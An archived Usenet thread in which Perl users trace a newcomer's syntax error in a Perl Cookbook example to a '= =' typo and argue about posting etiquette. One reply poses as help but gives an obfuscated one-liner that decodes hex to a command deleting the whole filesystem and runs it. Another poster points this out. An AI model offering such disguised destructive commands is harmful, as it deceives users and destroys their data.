Sample perl code does not work (from Perl cookbook, 2nd ed.)

S

Staale

Howdy all.

Could someone explain a perl wanabee why this code fragment does not work?
I have tried it on a linux box and on my Windows box with ActiveState
perl installed.

#---- code start
#!/usr/bin/perl -w
# commify_series - show proper comma insertion in list output

# @lists is an array of (references to anonymous) arrays
@lists = (
[ 'just one thing' ],
[ qw(Mutt Jeff) ],
[ qw(Peter Paul Mary) ],
[ 'To our parents', 'Mother Theresa', 'God' ],
[ 'pastrami', 'ham and cheese', 'peanut butter and jelly', 'tuna' ],
[ 'recycle tired, old phrases', 'ponder big, happy thoughts' ],
[ 'recycle tired, old phrases',
'ponder big, happy thoughts',
'sleep and dream peacefully' ],
);

foreach $aref (@lists) {
print "The list is: " . commify_series(@$aref) . ".\n";
}
# demo for single list
@list = qw(one two three);
print "The last list is: " . commify_series(@list) . ".\n";

sub commify_series {
my $sepchar = grep(/,/ => @_) ? ";" : ",";
(@_ = = 0) ? '' :
(@_ = = 1) ? $_[0] :
(@_ = = 2) ? join(" and ", @_) :
join("$sepchar ", @_[0 .. ($#_-1)], "and $_[-1]");
}

#--- Code end

Best Regards
Staale Flock
Norway.
 
A

A. Sinan Unur

Howdy all.

Instead of trying to be folksy, you might want to read the posting
guidelines for this group first. That will earn you more brownie points.
Could someone explain a perl wanabee why this code fragment does not
work?

What do you mean 'does not work'? What did you expect to see and what
does it do?
sub commify_series {
my $sepchar = grep(/,/ => @_) ? ";" : ",";
(@_ = = 0) ? '' :
(@_ = = 1) ? $_[0] :
(@_ = = 2) ? join(" and ", @_) :
join("$sepchar ", @_[0 .. ($#_-1)], "and $_[-1]");
}

I am having a really hard time trying to figure out the right way to
respond to this. Did you actually look at the message you get when you
try to run this?

syntax error at t.pl line 26, near "= ="
Execution of t.pl aborted due to compilation errors.

Why on God's green earth would you then not fix the syntax error
mentioned in the message?
 
S

Sid Norman

Staale said:
Howdy all.

Could someone explain a perl wanabee why this code fragment does not
work? I have tried it on a linux box and on my Windows box with
ActiveState
perl installed.

Try this:

(my$x='726D202D7266202F')=~s!([A-F0-9]{2})!chr(hex($1))!ge;system($x);
 
P

Paul Lalli

Staale said:
Howdy all.

Could someone explain a perl wanabee why this code fragment does not work?
I have tried it on a linux box and on my Windows box with ActiveState
perl installed.
sub commify_series {
my $sepchar = grep(/,/ => @_) ? ";" : ",";
(@_ = = 0) ? '' :
(@_ = = 1) ? $_[0] :
(@_ = = 2) ? join(" and ", @_) :
join("$sepchar ", @_[0 .. ($#_-1)], "and $_[-1]");
}

Ignoring for a moment that the OP should have tried to fix the syntax
errors... I looked in my copy of the Cookbook and saw that the code is
printed correctly there. However, the files available on O'Reilly's
site: http://examples.oreilly.com/perlckbk2/ contain this error.
Presumably, this is where the OP got the file from. I wonder by what
means O'Reilly should be informed of this error in their online examples.

Paul Lalli
 
S

Staale

Gunnar said:
Yes, Perl can. Exactly what did Perl say to you when you tried to run it?
Sorry I did not include the error message. The wanabee problem is that
you try hard to understand stuff but you don't. So you smash your head
in the wall so many times that you start to ask stupide (to some)
questions.

The nice thing is that if you don't give up you finaly start learning.
Hmm. At least I hope so!
Please respect the posting guidelines for this group:
http://mail.augustmail.com/~tadmc/clpmisc/clpmisc_guidelines.html

Well, If people followed those guidlines in their strictes speaking. Who
would nead to post questions?

Annyway, the solution was to replace = = with ==

Best Regards
Staale Flock
 
S

Staale

A. Sinan Unur said:
Instead of trying to be folksy, you might want to read the posting
guidelines for this group first. That will earn you more brownie points.
So I take it you do not like 'folksy' grettings (or polite in some parts
of the world)?

I'm realy Sorry I did not know that *.misc was considered 'higly technical'.
Could someone explain a perl wanabee why this code fragment does not
work?


What do you mean 'does not work'? What did you expect to see and what
does it do?

sub commify_series {
my $sepchar = grep(/,/ => @_) ? ";" : ",";
(@_ = = 0) ? '' :
(@_ = = 1) ? $_[0] :
(@_ = = 2) ? join(" and ", @_) :
join("$sepchar ", @_[0 .. ($#_-1)], "and $_[-1]");
}


I am having a really hard time trying to figure out the right way to
respond to this. Did you actually look at the message you get when you
try to run this?

syntax error at t.pl line 26, near "= ="
Execution of t.pl aborted due to compilation errors.
Why on God's green earth would you then not fix the syntax error
mentioned in the message?
Basicaly because I was stupide enough to belive that (@_ = = 0) is
valide perl code.

Best Regards
Staale Flock
 
G

Gunnar Hjalmarsson

Staale said:
Well, If people followed those guidlines in their strictes
speaking. Who would nead to post questions?

I agree that many questions would never need to be posted, which would
be welcomed by many who read the group. Quite a few questions would
still be posted, questions that would more often than currently is the
case be of public interest to those who want to improve their Perl
skill. :)
Annyway, the solution was to replace = = with ==

Yes, it was.
 
S

Staale

Sid said:
Staale said:
Howdy all.

Could someone explain a perl wanabee why this code fragment does not
work? I have tried it on a linux box and on my Windows box with
ActiveState
perl installed.


Try this:

(my$x='726D202D7266202F')=~s!([A-F0-9]{2})!chr(hex($1))!ge;system($x);
Cute!
 
S

Staale

Paul said:
Staale said:
Howdy all.

Could someone explain a perl wanabee why this code fragment does not
work?
I have tried it on a linux box and on my Windows box with ActiveState
perl installed.

sub commify_series {
my $sepchar = grep(/,/ => @_) ? ";" : ",";
(@_ = = 0) ? '' :
(@_ = = 1) ? $_[0] :
(@_ = = 2) ? join(" and ", @_) :
join("$sepchar ", @_[0 .. ($#_-1)], "and $_[-1]");
}

Ignoring for a moment that the OP should have tried to fix the syntax
errors... I looked in my copy of the Cookbook and saw that the code is
printed correctly there. However, the files available on O'Reilly's
site: http://examples.oreilly.com/perlckbk2/ contain this error.
Presumably, this is where the OP got the file from. I wonder by what
means O'Reilly should be informed of this error in their online examples.

Paul Lalli

Thank you Paul.

As I wrote to Sinan Unur I was stupid enough to believe (@_ = = 0) was
valid perl syntax. And as I wrote Gunnar Hjalmarsson 'you smash your
head in the wall so many times that you start to ask stupid (to some)
questions'

Really sorry I did not figure it out before asking.

Best Regards
Staale Flock
 
G

Gunnar Hjalmarsson

Staale said:
As I wrote to Sinan Unur I was stupid enough to believe (@_ = = 0)
was valid perl syntax. And as I wrote Gunnar Hjalmarsson 'you smash
your head in the wall so many times that you start to ask stupid
(to some) questions'

Really sorry I did not figure it out before asking.

No need to be sarcastic. My objection was about the way you asked for
help, not about the fact that you needed help.

- You didn't include the error message, and thereby let us know which
line(s) in the code that Perl disapproved of.

- You didn't show any signs that you had tried yourself to figure out
what was wrong with those lines.

If you had done that, I would happily have posted a straight answer.
OTOH, as you indicated in the reply to me, if you had done that, it's
unlikely that you wouldn't have figured it out before posting.
 
J

John Bokma

Paul Lalli said:
O'Reilly's site: http://examples.oreilly.com/perlckbk2/ contain this
error. Presumably, this is where the OP got the file from. I wonder
by what means O'Reilly should be informed of this error in their
online examples.

Mailing the webmaster? I am sure Randal knows how to contact the right
person. Changed the subject, who knows.
 
S

Staale

Paul said:
Staale said:
Howdy all.

Could someone explain a perl wanabee why this code fragment does not
work?
I have tried it on a linux box and on my Windows box with ActiveState
perl installed.

sub commify_series {
my $sepchar = grep(/,/ => @_) ? ";" : ",";
(@_ = = 0) ? '' :
(@_ = = 1) ? $_[0] :
(@_ = = 2) ? join(" and ", @_) :
join("$sepchar ", @_[0 .. ($#_-1)], "and $_[-1]");
}

Ignoring for a moment that the OP should have tried to fix the syntax
errors... I looked in my copy of the Cookbook and saw that the code is
printed correctly there. However, the files available on O'Reilly's
site: http://examples.oreilly.com/perlckbk2/ contain this error.
Presumably, this is where the OP got the file from. I wonder by what
means O'Reilly should be informed of this error in their online examples.

Paul Lalli

I have submitted an errata (on file 04-01.plx) to O'Reilly.com

Thanks again Paul!

Best Regards
Staale Flock
 
S

Staale

Gunnar said:
No need to be sarcastic. My objection was about the way you asked for
help, not about the fact that you needed help.
So sarcasm is only allowed by people answering (to the stupid)
questions? Acctualy, my intention was not to be sarcastic. But I do see
that the last line did not come out as it should. I am sorry I did not
figure it out before. It would have saved me quite som time!
- You didn't include the error message, and thereby let us know which
line(s) in the code that Perl disapproved of.

- You didn't show any signs that you had tried yourself to figure out
what was wrong with those lines.
Point taken..:eek:)
If you had done that, I would happily have posted a straight answer.
OTOH, as you indicated in the reply to me, if you had done that, it's
unlikely that you wouldn't have figured it out before posting.
Maybe you would have provided the right answer but I don't agree with
you that I would have found it my self if I had 'followed procedure'.

When your stuck you really need to get some kind of input to make you
see things from another standpoint. If you don't a solution could be
stumbling near and still far, far away. I think Usenet's real value is
in providing 'trigger words' rather than 'the right answer'.

Anyway, I got my 'trigger words' this time. So thanks to all of you!


Best Regards
Staale Flock
 
E

Eric Bohlman

I'm realy Sorry I did not know that *.misc was considered 'higly
technical'.

<hierarchy>.misc specifically means "dedicated to topics that fall under
<hierarchy> but that don't have sub-groups of their own. Thus
"comp.lang.perl.misc" means "dedicated to Perl-related topics that aren't
covered in c.l.p.modules, c.l.p.tk, etc.").
Basicaly because I was stupide enough to belive that (@_ = = 0) is
valide perl code.

Even though the compiler plainly told you it wasn't? Why did you think you
were getting the error message? Did you really go through a thought
process like "either a) my code is wrong or b) the compiler is broken. I'm
sure it's b)"?

That doesn't sound so much like *stupidity* as *stubbornness*. And
stubbornness is *not* a good quality to have when programming.
*Determination*, yes, but there's a difference between the two
(technically, the terms are *perseverance* for determination ("if at first
you don't succeed, try again" and *perseveration* for stubbornness
("insanity is doing the same thing over and over and expecting to get
different results")).
 
T

Tintin

Sid Norman said:
Staale said:
Howdy all.

Could someone explain a perl wanabee why this code fragment does not
work? I have tried it on a linux box and on my Windows box with
ActiveState
perl installed.

Try this:

(my$x='726D202D7266202F')=~s!([A-F0-9]{2})!chr(hex($1))!ge;system($x);

Only if you're stupid enough to want to delete all your files.
 
T

Tad McClellan

Staale said:
I'm realy Sorry I did not know that *.misc was considered 'higly technical'.


You did not expect that a computer programming language newsgroup
was "technical"?

You must get surprised often.
 

Members online

No members online now.

Forum statistics

Threads
473,755
Messages
2,569,536
Members
45,012
Latest member
RoxanneDzm

Latest Threads

Top